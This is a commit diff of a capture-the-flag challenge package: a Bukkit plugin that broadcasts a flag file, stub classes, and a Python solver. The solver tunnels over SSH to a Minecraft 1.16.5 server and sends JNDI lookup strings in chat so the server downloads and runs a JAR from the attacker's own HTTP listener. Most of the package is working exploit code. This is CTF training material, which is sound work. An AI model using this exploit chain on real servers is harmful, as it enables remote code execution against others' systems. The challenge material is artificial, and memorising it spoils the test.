Init. Commit

This commit is contained in:
Caplag
2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
Binary file not shown.
+20
View File
@@ -0,0 +1,20 @@
package pwn;
import org.bukkit.Bukkit;
import org.bukkit.plugin.java.JavaPlugin;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
public final class Pwned extends JavaPlugin {
@Override
public void onEnable() {
try {
String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
Bukkit.broadcastMessage("[PWN] " + flag);
} catch (Exception exception) {
Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
}
}
}
@@ -0,0 +1,4 @@
name: Pwned
version: 1.0.0
main: pwn.Pwned
api-version: "1.16"
@@ -0,0 +1,7 @@
package org.bukkit;
public final class Bukkit {
public static int broadcastMessage(String message) {
return 0;
}
}
@@ -0,0 +1,12 @@
package org.bukkit.plugin.java;
public class JavaPlugin {
public void onLoad() {
}
public void onEnable() {
}
public void onDisable() {
}
}
+1
View File
@@ -0,0 +1 @@
paramiko>=3.0
+275
View File
@@ -0,0 +1,275 @@
#!/usr/bin/env python3
"""Minimal task checker + solver: SSH tunnel, JNDI egress, flag extraction.
Usage:
python solve.py <host> <port> <user> <password> [--my-ip LAN_IP]
Steps:
1. SSH direct-tcpip to the container's Minecraft port
2. Login as an offline 1.16.5 player
3. Start a local HTTP listener (probe + payload JAR)
4. Send ${jndi:http://<my-ip>:<port>/check} in chat — egress probe
5. Send ${jndi:http://<my-ip>:<port>/pwned.jar} — real payload
6. Extract flag from chat broadcast
"""
import io
import os
import re
import socket
import struct
import sys
import threading
import time
import zipfile
try:
import paramiko
except ImportError:
print("FAIL: pip install paramiko"); sys.exit(1)
PROTO = 754 # 1.16.5
FLAG_MARK = "caplag{"
FLAG_RE = re.compile(r"caplag\{[^{}\r\n]+\}")
def varint(v):
out = b""
while True:
b = v & 0x7F; v >>= 7
if v: out += bytes([b | 0x80])
else: return out + bytes([b])
def dec_varint(d, p=0):
v = 0; s = 0
while True:
b = d[p]; p += 1
v |= (b & 0x7F) << s
if not b & 0x80: return v, p
s += 7
def load_payload():
jar = os.path.join(os.path.dirname(os.path.abspath(__file__)),
"payload", "Pwned.jar")
if not os.path.isfile(jar):
return None
suffix = str(int(time.time()))[-6:]
src = zipfile.ZipFile(jar)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as out:
for item in src.infolist():
data = src.read(item.filename)
if item.filename == "plugin.yml":
data = data.decode().replace(
"name: Pwned", "name: Pwned" + suffix).encode()
out.writestr(item, data)
src.close()
return buf.getvalue()
class MC:
def __init__(self, sock, nick):
self.s = sock; self.th = -1; self.chat = []; self.lock = threading.Lock()
self.wlock = threading.Lock()
def send(self, pid, body=b""):
p = varint(pid) + body
f = varint(0) + p if self.th >= 0 else p
with self.wlock:
self.s.sendall(varint(len(f)) + f)
def recv_pkt(self):
ln = 0; sh = 0
while True:
b = self._b(1)[0]
ln |= (b & 0x7F) << sh
if not b & 0x80: break
sh += 7
raw = self._b(ln)
if self.th >= 0:
dl = 0; sh = 0; p = 0
while True:
b = raw[p]; p += 1
dl |= (b & 0x7F) << sh
if not b & 0x80: break
sh += 7
body = raw[p:]
if dl: body = __import__("zlib").decompress(body)
else:
body = raw
return body[0], body[1:]
def _b(self, n):
d = b""
while len(d) < n:
c = self.s.recv(n - len(d))
if not c: raise ConnectionError("closed")
d += c
return d
def login(self, nick):
h = b"127.0.0.1"
hs = varint(0) + varint(PROTO) + varint(len(h)) + h + struct.pack(">H", 25565) + varint(2)
self.s.sendall(varint(len(hs)) + hs)
self.send(0, varint(len(nick)) + nick.encode())
for _ in range(10):
pid, pl = self.recv_pkt()
if pid == 3: self.th = dec_varint(pl)[0]
elif pid == 2:
threading.Thread(target=self._rd, daemon=True).start()
return True
return False
def _rd(self):
import json
while True:
try:
pid, pl = self.recv_pkt()
except Exception:
return
if pid == 0x0E:
try:
jl, off = dec_varint(pl)
obj = json.loads(pl[off:off + jl].decode("utf-8", "replace"))
txt = []
def w(n):
if isinstance(n, dict):
if "text" in n: txt.append(str(n["text"]))
for k in ("extra", "with"):
for i in n.get(k, []) or []: w(i)
elif isinstance(n, str): txt.append(n)
w(obj)
line = "".join(txt)
if line:
with self.lock:
self.chat.append(line)
except Exception:
pass
elif pid == 0x21 and len(pl) == 8:
v = int.from_bytes(pl, "big")
if 0 < v < (1 << 40):
self.send(0x10, pl)
def say(self, t):
self.send(3, varint(len(t)) + t.encode())
def wait(self, m, to=20, since=0, pattern=None):
dl = time.time() + to
while time.time() < dl:
with self.lock:
for l in self.chat[since:]:
if m in l and (pattern is None or pattern.search(l)):
return l
time.sleep(0.2)
return None
def main():
if len(sys.argv) < 5:
print(__doc__); sys.exit(1)
host, port, user, pw = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]
my_ip = "127.0.0.1"
if "--my-ip" in sys.argv:
my_ip = sys.argv[sys.argv.index("--my-ip") + 1]
else:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try: s.connect(("8.8.8.8", 80)); my_ip = s.getsockname()[0]
except Exception: pass
finally: s.close()
payload_jar = load_payload()
print(f"[*] target {host}:{port} as {user}")
print(f"[*] my IP: {my_ip}")
if not payload_jar:
print("FAIL: payload/Pwned.jar is missing")
sys.exit(1)
print("[*] payload: OK")
# 1. SSH tunnel
print("[1] SSH tunnel...", end=" ", flush=True)
try:
cli = paramiko.SSHClient()
cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())
cli.connect(host, port=port, username=user, password=pw,
look_for_keys=False, allow_agent=False, timeout=8)
chan = cli.get_transport().open_channel(
"direct-tcpip", ("127.0.0.1", 25565), ("127.0.0.1", 0))
print("OK")
except Exception as e:
print(f"FAIL ({e})"); sys.exit(1)
# 2. HTTP listener (probe + payload)
hit = []
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
hit.append(self.path)
body = b"x"
if self.path == "/pwned.jar" and payload_jar:
body = payload_jar
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
httpd = ThreadingHTTPServer(("0.0.0.0", 0), H)
http_port = httpd.server_address[1]
threading.Thread(target=httpd.serve_forever, daemon=True).start()
print(f"[2] HTTP listener on :{http_port}")
# 3. MC login
print("[3] Minecraft login...", end=" ", flush=True)
mc = MC(chan, "Checker")
if not mc.login("Checker"):
print("FAIL"); sys.exit(1)
print("OK")
time.sleep(3)
with mc.lock:
base = len(mc.chat)
# 4. Egress probe
probe_url = f"http://{my_ip}:{http_port}/check"
print(f"[4] Egress probe: {probe_url}", flush=True)
mc.say(f"${{jndi:{probe_url}}}")
probe_ok = False
dl = time.time() + 15
while time.time() < dl:
if any("/check" in h for h in hit):
probe_ok = True
print("[4] PASS: egress confirmed (server fetched /check)")
break
r = mc.wait("Could not load plugin", to=1, since=base)
if r:
probe_ok = True
print("[4] PASS: chat oracle responded")
break
time.sleep(0.5)
if not probe_ok:
print("[4] FAIL: no egress, no oracle")
sys.exit(1)
time.sleep(1)
with mc.lock:
base2 = len(mc.chat)
# 5. Flag extraction
jar_url = f"http://{my_ip}:{http_port}/pwned.jar"
print(f"[5] Sending payload: {jar_url}", flush=True)
mc.say(f"${{jndi:{jar_url}}}")
line = mc.wait(FLAG_MARK, to=25, since=base2, pattern=FLAG_RE)
if line is None:
line = mc.wait("[PWN]", to=2, since=base2)
match = FLAG_RE.search(line) if line else None
if match:
print(f"[5] FLAG: {line}")
print(f"\n {match.group(0)}\n")
sys.exit(0)
if line:
print(f"[5] FAIL: plugin returned no complete flag: {line}")
sys.exit(1)
print("[5] FAIL: no flag in chat within 25s")
sys.exit(1)
if __name__ == "__main__":
main()